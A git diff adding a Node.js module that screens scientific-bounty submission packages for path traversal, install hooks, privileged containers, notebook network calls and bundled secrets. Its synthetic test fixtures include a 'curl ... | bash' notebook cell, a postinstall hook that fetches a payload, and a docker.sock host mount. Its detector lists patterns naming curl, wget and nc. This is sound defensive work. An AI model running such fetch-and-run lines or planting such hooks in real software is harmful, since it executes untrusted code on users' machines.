diff --git a/scientific-bounty-submission-security-guard/README.md b/scientific-bounty-submission-security-guard/README.md new file mode 100644 index 00000000..d55e971a --- /dev/null +++ b/scientific-bounty-submission-security-guard/README.md @@ -0,0 +1,29 @@ +# Scientific Bounty Submission Security Guard + +Focused slice for SCIBASE issue #18, Scientific Bounty System. + +This module reviews solver submission packages before sponsor or reviewer access. It detects unsafe executable artifacts, path traversal, dependency install hooks, privileged containers, notebook network calls, secret-like environment values, Office macros, and reviewer-sandbox gaps. + +## What it checks + +- Submission manifests cannot write outside the review workspace. +- Executable files require explicit declaration, hash evidence, and reviewer sandbox approval. +- Dependency lifecycle scripts are blocked or stripped before reviewer execution. +- Notebooks with shell, network, or local-path cells are quarantined. +- Containers cannot request privileged mode, host mounts, or uncontrolled outbound network. +- Secret-like environment variables are not bundled into challenge packages. +- Sponsor/reviewer packets get deterministic allow, sanitize, quarantine, or hold decisions. + +## Local verification + +```bash +node scientific-bounty-submission-security-guard/test.js +node scientific-bounty-submission-security-guard/demo.js +node scientific-bounty-submission-security-guard/make-demo-video.js +``` + +Generated reviewer artifacts are written to `scientific-bounty-submission-security-guard/reports/`. + +## Safety + +Fixtures are synthetic. The module does not execute submitted code, unpack archives, call malware scanners, contact package registries, use credentials, or touch live challenge workspaces. diff --git a/scientific-bounty-submission-security-guard/demo.js b/scientific-bounty-submission-security-guard/demo.js new file mode 100644 index 00000000..7f1cb928 --- /dev/null +++ b/scientific-bounty-submission-security-guard/demo.js @@ -0,0 +1,18 @@ +const fs = require("fs"); +const path = require("path"); +const { submissions } = require("./sample-data"); +const { reviewSubmissions, renderMarkdownReport, renderSvgReport } = require("./index"); + +function main() { + const report = reviewSubmissions(submissions); + const reportDir = path.join(__dirname, "reports"); + fs.mkdirSync(reportDir, { recursive: true }); + fs.writeFileSync(path.join(reportDir, "submission-security-review.json"), `${JSON.stringify(report, null, 2)}\n`); + fs.writeFileSync(path.join(reportDir, "submission-security-review.md"), renderMarkdownReport(report)); + fs.writeFileSync(path.join(reportDir, "submission-security-summary.svg"), renderSvgReport(report)); + console.log("submission security demo generated"); + console.log(`decision summary: ${JSON.stringify(report.summary)}`); + console.log(`reports: ${reportDir}`); +} + +main(); diff --git a/scientific-bounty-submission-security-guard/index.js b/scientific-bounty-submission-security-guard/index.js new file mode 100644 index 00000000..83b2036d --- /dev/null +++ b/scientific-bounty-submission-security-guard/index.js @@ -0,0 +1,259 @@ +const NETWORK_PATTERNS = [/\bhttps?:\/\//i, /\bcurl\b/i, /\bwget\b/i, /\brequests\./i, /\bsocket\b/i, /\bnc\b/i]; +const SECRET_KEY_PATTERN = /(token|secret|password|api[_-]?key|private[_-]?key|access[_-]?key)/i; +const LIFECYCLE_SCRIPTS = new Set(["preinstall", "install", "postinstall", "prepare"]); + +function hasPathEscape(filePath) { + return ( + typeof filePath !== "string" || + filePath.startsWith("/") || + filePath.split(/[\\/]+/).some((part) => part === "..") + ); +} + +function hasNetworkCall(source) { + return NETWORK_PATTERNS.some((pattern) => pattern.test(source || "")); +} + +function addIssue(issues, severity, code, message, context) { + issues.push({ severity, code, message, context }); +} + +function reviewFiles(submission, issues, actions) { + for (const file of submission.files || []) { + if (hasPathEscape(file.path)) { + addIssue(issues, "critical", "path-escape", "File path can escape the reviewer workspace.", file.path); + actions.push(`Quarantine ${file.path} and require a normalized manifest path.`); + } + + if (file.executable && !submission.reviewerSandbox.allowExecutables) { + addIssue(issues, "critical", "undeclared-executable", "Executable artifact is not allowed by the reviewer sandbox.", file.path); + actions.push(`Block executable artifact ${file.path} before sponsor or reviewer access.`); + } + + if (file.hasMacros || /\.docm$/i.test(file.path || "")) { + addIssue(issues, "high", "macro-enabled-document", "Macro-enabled document requires redaction or isolated review.", file.path); + actions.push(`Convert or strip macros from ${file.path} before release.`); + } + } +} + +function reviewNotebooks(submission, issues, actions) { + for (const notebook of submission.notebooks || []) { + for (const [index, cell] of (notebook.cells || []).entries()) { + const context = `${notebook.path}:cell-${index + 1}`; + if (cell.kind === "shell") { + addIssue(issues, "critical", "shell-notebook-cell", "Notebook contains a shell cell in the review packet.", context); + actions.push(`Disable shell execution in ${context}.`); + } + + if (hasNetworkCall(cell.source) && !submission.reviewerSandbox.outboundNetwork) { + addIssue(issues, "critical", "notebook-network-call", "Notebook attempts network access while sandbox network is disabled.", context); + actions.push(`Run ${context} in a no-network sandbox or require offline fixture replacement.`); + } + + if (/\/Users\/|C:\\\\|\/home\/|file:\/\//i.test(cell.source || "")) { + addIssue(issues, "medium", "local-path-leak", "Notebook contains local filesystem paths that should be redacted.", context); + actions.push(`Redact local path evidence from ${context}.`); + } + } + } +} + +function reviewDependencies(submission, issues, actions) { + const scripts = (submission.dependencies && submission.dependencies.npmScripts) || {}; + for (const [name, command] of Object.entries(scripts)) { + if (LIFECYCLE_SCRIPTS.has(name)) { + const severity = hasNetworkCall(command) ? "critical" : "high"; + addIssue(issues, severity, "dependency-lifecycle-script", `Dependency lifecycle script ${name} must not run during reviewer install.`, name); + actions.push(`Strip or sandbox npm ${name} before reviewer installation.`); + } + } +} + +function reviewEnvironment(submission, issues, actions) { + for (const [key, value] of Object.entries(submission.env || {})) { + if (SECRET_KEY_PATTERN.test(key) && value) { + addIssue(issues, "critical", "bundled-secret-like-env", "Secret-like environment value is bundled with the submission.", key); + actions.push(`Remove ${key} from the review packet and rotate if it was real.`); + } + } +} + +function reviewContainer(submission, issues, actions) { + const container = submission.container || {}; + if (container.privileged && !submission.reviewerSandbox.containerPrivileged) { + addIssue(issues, "critical", "privileged-container", "Container requests privileged execution.", container.image); + actions.push("Reject privileged container mode for reviewer execution."); + } + + if ((container.hostMounts || []).length > 0) { + addIssue(issues, "critical", "host-mount-request", "Container requests host mounts.", container.hostMounts.join(", ")); + actions.push("Remove host mounts before sandbox review."); + } + + if (container.network && container.network !== "none" && !submission.reviewerSandbox.outboundNetwork) { + addIssue(issues, "high", "container-network-enabled", "Container network mode is not compatible with the reviewer sandbox.", container.network); + actions.push("Force container network mode to none unless the sponsor grants a documented waiver."); + } +} + +function scoreFromIssues(issues) { + const weights = { critical: 30, high: 15, medium: 6, low: 2 }; + const deduction = issues.reduce((sum, issue) => sum + (weights[issue.severity] || 4), 0); + return Math.max(0, 100 - deduction); +} + +function decisionFromIssues(issues) { + const critical = issues.filter((issue) => issue.severity === "critical").length; + const high = issues.filter((issue) => issue.severity === "high").length; + if (critical >= 3) return "hold-sponsor-review"; + if (critical > 0) return "quarantine-submission"; + if (high > 0) return "sanitize-before-review"; + return "clear-for-review"; +} + +function reviewSubmission(submission) { + const issues = []; + const actions = []; + + reviewFiles(submission, issues, actions); + reviewNotebooks(submission, issues, actions); + reviewDependencies(submission, issues, actions); + reviewEnvironment(submission, issues, actions); + reviewContainer(submission, issues, actions); + + if (actions.length === 0) { + actions.push("Release package to the reviewer sandbox with network disabled."); + } + + return { + submissionId: submission.id, + challengeId: submission.challengeId, + teamId: submission.teamId, + decision: decisionFromIssues(issues), + securityScore: scoreFromIssues(issues), + issueCounts: issues.reduce((counts, issue) => { + counts[issue.severity] = (counts[issue.severity] || 0) + 1; + return counts; + }, {}), + issues, + actions: Array.from(new Set(actions)), + }; +} + +function reviewSubmissions(submissions) { + const results = submissions.map(reviewSubmission); + const summary = { + submissionCount: results.length, + clearForReview: results.filter((result) => result.decision === "clear-for-review").length, + sanitizeBeforeReview: results.filter((result) => result.decision === "sanitize-before-review").length, + quarantined: results.filter((result) => result.decision === "quarantine-submission").length, + heldForSponsorReview: results.filter((result) => result.decision === "hold-sponsor-review").length, + averageSecurityScore: Math.round(results.reduce((sum, result) => sum + result.securityScore, 0) / results.length), + }; + + return { + generatedAt: new Date("2026-05-28T00:00:00Z").toISOString(), + requirementMap: [ + "Submission engine: screens solver packages before reviewer or sponsor access.", + "Secure project space: prevents workspace escape, host mounts, and unsafe execution requests.", + "Arbitration readiness: emits deterministic hold, quarantine, sanitize, or release actions.", + "Audit logs: preserves reviewer-facing issue codes and remediation steps without executing submitted code.", + ], + summary, + results, + }; +} + +function escapeHtml(value) { + return String(value).replace(/&/g, "&").replace(//g, ">"); +} + +function renderMarkdownReport(report) { + const lines = [ + "# Submission Security Review", + "", + `Generated: ${report.generatedAt}`, + "", + "## Summary", + "", + `- Submissions reviewed: ${report.summary.submissionCount}`, + `- Clear for review: ${report.summary.clearForReview}`, + `- Sanitize before review: ${report.summary.sanitizeBeforeReview}`, + `- Quarantined: ${report.summary.quarantined}`, + `- Held for sponsor review: ${report.summary.heldForSponsorReview}`, + `- Average security score: ${report.summary.averageSecurityScore}`, + "", + "## Requirement Map", + "", + ...report.requirementMap.map((item) => `- ${item}`), + "", + "## Decisions", + "", + ]; + + for (const result of report.results) { + lines.push(`### ${result.submissionId}`); + lines.push(""); + lines.push(`- Decision: ${result.decision}`); + lines.push(`- Security score: ${result.securityScore}`); + lines.push(`- Issues: ${result.issues.length}`); + for (const action of result.actions) { + lines.push(`- Action: ${action}`); + } + lines.push(""); + } + + return `${lines.join("\n").trimEnd()}\n`; +} + +function renderSvgReport(report) { + const width = 1120; + const rowHeight = 88; + const height = 150 + report.results.length * rowHeight; + const rows = report.results + .map((result, index) => { + const y = 112 + index * rowHeight; + const color = + result.decision === "clear-for-review" + ? "#2f9e44" + : result.decision === "sanitize-before-review" + ? "#f08c00" + : "#d6336c"; + const barWidth = Math.max(24, Math.round(result.securityScore * 5.2)); + return ` + + ${escapeHtml(result.submissionId)} + Decision: ${escapeHtml(result.decision)} | Issues: ${result.issues.length} + + + ${result.securityScore} + `; + }) + .join("\n"); + + return ` + + + Scientific Bounty Submission Security Guard + Screens solver packages before sponsor or reviewer access without executing submitted code. +${rows} + +`; +} + +module.exports = { + reviewSubmission, + reviewSubmissions, + renderMarkdownReport, + renderSvgReport, + hasPathEscape, + hasNetworkCall, +}; diff --git a/scientific-bounty-submission-security-guard/make-demo-video.js b/scientific-bounty-submission-security-guard/make-demo-video.js new file mode 100644 index 00000000..03db8030 --- /dev/null +++ b/scientific-bounty-submission-security-guard/make-demo-video.js @@ -0,0 +1,67 @@ +const fs = require("fs"); +const path = require("path"); +const { spawnSync } = require("child_process"); +const { submissions } = require("./sample-data"); +const { reviewSubmissions } = require("./index"); + +function ffmpegCandidates() { + return ["ffmpeg", "/opt/homebrew/bin/ffmpeg", "/usr/local/bin/ffmpeg"]; +} + +function makeVideo(output) { + const report = reviewSubmissions(submissions); + const clearWidth = 120 + report.summary.clearForReview * 170; + const quarantineWidth = 120 + report.summary.quarantined * 170; + const holdWidth = 120 + report.summary.heldForSponsorReview * 170; + const filter = [ + "drawbox=x=0:y=0:w=1280:h=720:color=0x0b1020@1:t=fill", + "drawbox=x=80:y=110:w=1120:h=8:color=0x4dabf7@1:t=fill", + `drawbox=x=120:y=220:w=${clearWidth}:h=90:color=0x2f9e44@1:t=fill`, + `drawbox=x=120:y=340:w=${quarantineWidth}:h=90:color=0xf08c00@1:t=fill`, + `drawbox=x=120:y=460:w=${holdWidth}:h=90:color=0xd6336c@1:t=fill`, + "drawbox=x=120:y=590:w=1020:h=24:color=0x495057@1:t=fill", + ].join(","); + + const errors = []; + for (const ffmpeg of ffmpegCandidates()) { + const result = spawnSync( + ffmpeg, + [ + "-y", + "-f", + "lavfi", + "-i", + "color=c=black:s=1280x720:r=12:d=4", + "-vf", + filter, + "-c:v", + "libx264", + "-pix_fmt", + "yuv420p", + "-movflags", + "+faststart", + output, + ], + { encoding: "utf8" }, + ); + + if (result.status === 0 && fs.existsSync(output) && fs.statSync(output).size > 1000) { + return; + } + + const stderr = (result.stderr || result.error || "").toString(); + errors.push(`${ffmpeg}: ${stderr.split("\n").slice(-8).join("\n")}`); + } + + throw new Error(`ffmpeg failed to generate demo video:\n${errors.join("\n")}`); +} + +function main() { + const reportDir = path.join(__dirname, "reports"); + fs.mkdirSync(reportDir, { recursive: true }); + const output = path.join(reportDir, "demo.mp4"); + makeVideo(output); + console.log(`demo video generated: ${output}`); +} + +main(); diff --git a/scientific-bounty-submission-security-guard/reports/demo.mp4 b/scientific-bounty-submission-security-guard/reports/demo.mp4 new file mode 100644 index 00000000..9596bd7c Binary files /dev/null and b/scientific-bounty-submission-security-guard/reports/demo.mp4 differ diff --git a/scientific-bounty-submission-security-guard/reports/submission-security-review.json b/scientific-bounty-submission-security-guard/reports/submission-security-review.json new file mode 100644 index 00000000..198bfa93 --- /dev/null +++ b/scientific-bounty-submission-security-guard/reports/submission-security-review.json @@ -0,0 +1,166 @@ +{ + "generatedAt": "2026-05-28T00:00:00.000Z", + "requirementMap": [ + "Submission engine: screens solver packages before reviewer or sponsor access.", + "Secure project space: prevents workspace escape, host mounts, and unsafe execution requests.", + "Arbitration readiness: emits deterministic hold, quarantine, sanitize, or release actions.", + "Audit logs: preserves reviewer-facing issue codes and remediation steps without executing submitted code." + ], + "summary": { + "submissionCount": 4, + "clearForReview": 1, + "sanitizeBeforeReview": 0, + "quarantined": 1, + "heldForSponsorReview": 2, + "averageSecurityScore": 43 + }, + "results": [ + { + "submissionId": "sub-clean-model", + "challengeId": "biomarker-single-cell", + "teamId": "atlas-lab", + "decision": "clear-for-review", + "securityScore": 100, + "issueCounts": {}, + "issues": [], + "actions": [ + "Release package to the reviewer sandbox with network disabled." + ] + }, + { + "submissionId": "sub-network-notebook", + "challengeId": "climate-forecast", + "teamId": "helix-models", + "decision": "hold-sponsor-review", + "securityScore": 0, + "issueCounts": { + "critical": 5, + "high": 1 + }, + "issues": [ + { + "severity": "critical", + "code": "undeclared-executable", + "message": "Executable artifact is not allowed by the reviewer sandbox.", + "context": "bin/postprocess.sh" + }, + { + "severity": "critical", + "code": "notebook-network-call", + "message": "Notebook attempts network access while sandbox network is disabled.", + "context": "analysis.ipynb:cell-1" + }, + { + "severity": "critical", + "code": "shell-notebook-cell", + "message": "Notebook contains a shell cell in the review packet.", + "context": "analysis.ipynb:cell-2" + }, + { + "severity": "critical", + "code": "notebook-network-call", + "message": "Notebook attempts network access while sandbox network is disabled.", + "context": "analysis.ipynb:cell-2" + }, + { + "severity": "critical", + "code": "bundled-secret-like-env", + "message": "Secret-like environment value is bundled with the submission.", + "context": "API_TOKEN" + }, + { + "severity": "high", + "code": "container-network-enabled", + "message": "Container network mode is not compatible with the reviewer sandbox.", + "context": "bridge" + } + ], + "actions": [ + "Block executable artifact bin/postprocess.sh before sponsor or reviewer access.", + "Run analysis.ipynb:cell-1 in a no-network sandbox or require offline fixture replacement.", + "Disable shell execution in analysis.ipynb:cell-2.", + "Run analysis.ipynb:cell-2 in a no-network sandbox or require offline fixture replacement.", + "Remove API_TOKEN from the review packet and rotate if it was real.", + "Force container network mode to none unless the sponsor grants a documented waiver." + ] + }, + { + "submissionId": "sub-dependency-hook", + "challengeId": "quantum-noise", + "teamId": "phase-labs", + "decision": "quarantine-submission", + "securityScore": 70, + "issueCounts": { + "critical": 1 + }, + "issues": [ + { + "severity": "critical", + "code": "dependency-lifecycle-script", + "message": "Dependency lifecycle script postinstall must not run during reviewer install.", + "context": "postinstall" + } + ], + "actions": [ + "Strip or sandbox npm postinstall before reviewer installation." + ] + }, + { + "submissionId": "sub-escape-and-privileged-container", + "challengeId": "materials-discovery", + "teamId": "cobalt-bio", + "decision": "hold-sponsor-review", + "securityScore": 0, + "issueCounts": { + "critical": 4, + "high": 2 + }, + "issues": [ + { + "severity": "critical", + "code": "path-escape", + "message": "File path can escape the reviewer workspace.", + "context": "../outside-workspace.csv" + }, + { + "severity": "high", + "code": "macro-enabled-document", + "message": "Macro-enabled document requires redaction or isolated review.", + "context": "report.docm" + }, + { + "severity": "critical", + "code": "bundled-secret-like-env", + "message": "Secret-like environment value is bundled with the submission.", + "context": "AWS_SECRET_ACCESS_KEY" + }, + { + "severity": "critical", + "code": "privileged-container", + "message": "Container requests privileged execution.", + "context": "ubuntu:latest" + }, + { + "severity": "critical", + "code": "host-mount-request", + "message": "Container requests host mounts.", + "context": "/var/run/docker.sock" + }, + { + "severity": "high", + "code": "container-network-enabled", + "message": "Container network mode is not compatible with the reviewer sandbox.", + "context": "host" + } + ], + "actions": [ + "Quarantine ../outside-workspace.csv and require a normalized manifest path.", + "Convert or strip macros from report.docm before release.", + "Remove AWS_SECRET_ACCESS_KEY from the review packet and rotate if it was real.", + "Reject privileged container mode for reviewer execution.", + "Remove host mounts before sandbox review.", + "Force container network mode to none unless the sponsor grants a documented waiver." + ] + } + ] +} diff --git a/scientific-bounty-submission-security-guard/reports/submission-security-review.md b/scientific-bounty-submission-security-guard/reports/submission-security-review.md new file mode 100644 index 00000000..d52b33ca --- /dev/null +++ b/scientific-bounty-submission-security-guard/reports/submission-security-review.md @@ -0,0 +1,59 @@ +# Submission Security Review + +Generated: 2026-05-28T00:00:00.000Z + +## Summary + +- Submissions reviewed: 4 +- Clear for review: 1 +- Sanitize before review: 0 +- Quarantined: 1 +- Held for sponsor review: 2 +- Average security score: 43 + +## Requirement Map + +- Submission engine: screens solver packages before reviewer or sponsor access. +- Secure project space: prevents workspace escape, host mounts, and unsafe execution requests. +- Arbitration readiness: emits deterministic hold, quarantine, sanitize, or release actions. +- Audit logs: preserves reviewer-facing issue codes and remediation steps without executing submitted code. + +## Decisions + +### sub-clean-model + +- Decision: clear-for-review +- Security score: 100 +- Issues: 0 +- Action: Release package to the reviewer sandbox with network disabled. + +### sub-network-notebook + +- Decision: hold-sponsor-review +- Security score: 0 +- Issues: 6 +- Action: Block executable artifact bin/postprocess.sh before sponsor or reviewer access. +- Action: Run analysis.ipynb:cell-1 in a no-network sandbox or require offline fixture replacement. +- Action: Disable shell execution in analysis.ipynb:cell-2. +- Action: Run analysis.ipynb:cell-2 in a no-network sandbox or require offline fixture replacement. +- Action: Remove API_TOKEN from the review packet and rotate if it was real. +- Action: Force container network mode to none unless the sponsor grants a documented waiver. + +### sub-dependency-hook + +- Decision: quarantine-submission +- Security score: 70 +- Issues: 1 +- Action: Strip or sandbox npm postinstall before reviewer installation. + +### sub-escape-and-privileged-container + +- Decision: hold-sponsor-review +- Security score: 0 +- Issues: 6 +- Action: Quarantine ../outside-workspace.csv and require a normalized manifest path. +- Action: Convert or strip macros from report.docm before release. +- Action: Remove AWS_SECRET_ACCESS_KEY from the review packet and rotate if it was real. +- Action: Reject privileged container mode for reviewer execution. +- Action: Remove host mounts before sandbox review. +- Action: Force container network mode to none unless the sponsor grants a documented waiver. diff --git a/scientific-bounty-submission-security-guard/reports/submission-security-summary.svg b/scientific-bounty-submission-security-guard/reports/submission-security-summary.svg new file mode 100644 index 00000000..35f7b0ce --- /dev/null +++ b/scientific-bounty-submission-security-guard/reports/submission-security-summary.svg @@ -0,0 +1,45 @@ + + + + Scientific Bounty Submission Security Guard + Screens solver packages before sponsor or reviewer access without executing submitted code. + + + sub-clean-model + Decision: clear-for-review | Issues: 0 + + + 100 + + + + sub-network-notebook + Decision: hold-sponsor-review | Issues: 6 + + + 0 + + + + sub-dependency-hook + Decision: quarantine-submission | Issues: 1 + + + 70 + + + + sub-escape-and-privileged-container + Decision: hold-sponsor-review | Issues: 6 + + + 0 + + diff --git a/scientific-bounty-submission-security-guard/sample-data.js b/scientific-bounty-submission-security-guard/sample-data.js new file mode 100644 index 00000000..1ebfacb0 --- /dev/null +++ b/scientific-bounty-submission-security-guard/sample-data.js @@ -0,0 +1,83 @@ +const submissions = [ + { + id: "sub-clean-model", + challengeId: "biomarker-single-cell", + teamId: "atlas-lab", + reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false }, + files: [ + { path: "README.md", type: "document", size: 2048, hash: "sha256:a1", executable: false }, + { path: "src/model.py", type: "code", size: 12144, hash: "sha256:a2", executable: false }, + { path: "results/metrics.csv", type: "data", size: 4096, hash: "sha256:a3", executable: false }, + ], + notebooks: [ + { + path: "notebooks/reproduce.ipynb", + cells: [ + { kind: "markdown", source: "Reproduce the submitted benchmark results." }, + { kind: "code", source: "import pandas as pd\npd.read_csv('../results/metrics.csv').head()" }, + ], + }, + ], + dependencies: { npmScripts: {}, pipRequirements: ["pandas==2.2.0"] }, + env: {}, + container: { image: "python:3.12-slim", privileged: false, hostMounts: [], network: "none" }, + }, + { + id: "sub-network-notebook", + challengeId: "climate-forecast", + teamId: "helix-models", + reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false }, + files: [ + { path: "analysis.ipynb", type: "notebook", size: 90412, hash: "sha256:b1", executable: false }, + { path: "bin/postprocess.sh", type: "script", size: 5120, hash: "sha256:b2", executable: true }, + ], + notebooks: [ + { + path: "analysis.ipynb", + cells: [ + { kind: "code", source: "import requests\nrequests.get('https://example.com/private-score')" }, + { kind: "shell", source: "curl https://example.com/bootstrap.sh | bash" }, + ], + }, + ], + dependencies: { npmScripts: {}, pipRequirements: ["requests"] }, + env: { API_TOKEN: "synthetic-secret-token" }, + container: { image: "python:3.11", privileged: false, hostMounts: [], network: "bridge" }, + }, + { + id: "sub-dependency-hook", + challengeId: "quantum-noise", + teamId: "phase-labs", + reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false }, + files: [ + { path: "package.json", type: "manifest", size: 1900, hash: "sha256:c1", executable: false }, + { path: "src/solver.ts", type: "code", size: 6400, hash: "sha256:c2", executable: false }, + ], + notebooks: [], + dependencies: { + npmScripts: { + test: "node test.js", + postinstall: "node scripts/fetch-benchmark.js && curl https://example.com/payload", + }, + pipRequirements: [], + }, + env: {}, + container: { image: "node:22", privileged: false, hostMounts: [], network: "none" }, + }, + { + id: "sub-escape-and-privileged-container", + challengeId: "materials-discovery", + teamId: "cobalt-bio", + reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false }, + files: [ + { path: "../outside-workspace.csv", type: "data", size: 128, hash: "sha256:d1", executable: false }, + { path: "report.docm", type: "document", size: 110220, hash: "sha256:d2", executable: false, hasMacros: true }, + ], + notebooks: [], + dependencies: { npmScripts: {}, pipRequirements: [] }, + env: { AWS_SECRET_ACCESS_KEY: "synthetic-aws-secret" }, + container: { image: "ubuntu:latest", privileged: true, hostMounts: ["/var/run/docker.sock"], network: "host" }, + }, +]; + +module.exports = { submissions }; diff --git a/scientific-bounty-submission-security-guard/test.js b/scientific-bounty-submission-security-guard/test.js new file mode 100644 index 00000000..6cf04ae0 --- /dev/null +++ b/scientific-bounty-submission-security-guard/test.js @@ -0,0 +1,43 @@ +const assert = require("assert"); +const { submissions } = require("./sample-data"); +const { reviewSubmissions, hasPathEscape, hasNetworkCall } = require("./index"); + +function byId(report, id) { + return report.results.find((result) => result.submissionId === id); +} + +function runTests() { + assert.strictEqual(hasPathEscape("../secret.csv"), true); + assert.strictEqual(hasPathEscape("/tmp/out.csv"), true); + assert.strictEqual(hasPathEscape("results/metrics.csv"), false); + assert.strictEqual(hasNetworkCall("requests.get('https://example.com')"), true); + assert.strictEqual(hasNetworkCall("pd.read_csv('local.csv')"), false); + + const report = reviewSubmissions(submissions); + assert.strictEqual(report.summary.submissionCount, 4); + + const clean = byId(report, "sub-clean-model"); + assert.strictEqual(clean.decision, "clear-for-review"); + assert.strictEqual(clean.securityScore, 100); + assert.strictEqual(clean.issues.length, 0); + + const notebook = byId(report, "sub-network-notebook"); + assert.strictEqual(notebook.decision, "hold-sponsor-review"); + assert.ok(notebook.issues.some((issue) => issue.code === "notebook-network-call")); + assert.ok(notebook.issues.some((issue) => issue.code === "shell-notebook-cell")); + assert.ok(notebook.issues.some((issue) => issue.code === "bundled-secret-like-env")); + + const dependency = byId(report, "sub-dependency-hook"); + assert.strictEqual(dependency.decision, "quarantine-submission"); + assert.ok(dependency.issues.some((issue) => issue.code === "dependency-lifecycle-script")); + + const container = byId(report, "sub-escape-and-privileged-container"); + assert.strictEqual(container.decision, "hold-sponsor-review"); + assert.ok(container.issues.some((issue) => issue.code === "path-escape")); + assert.ok(container.issues.some((issue) => issue.code === "privileged-container")); + assert.ok(container.issues.some((issue) => issue.code === "host-mount-request")); + + console.log("submission security guard tests passed"); +} + +runTests();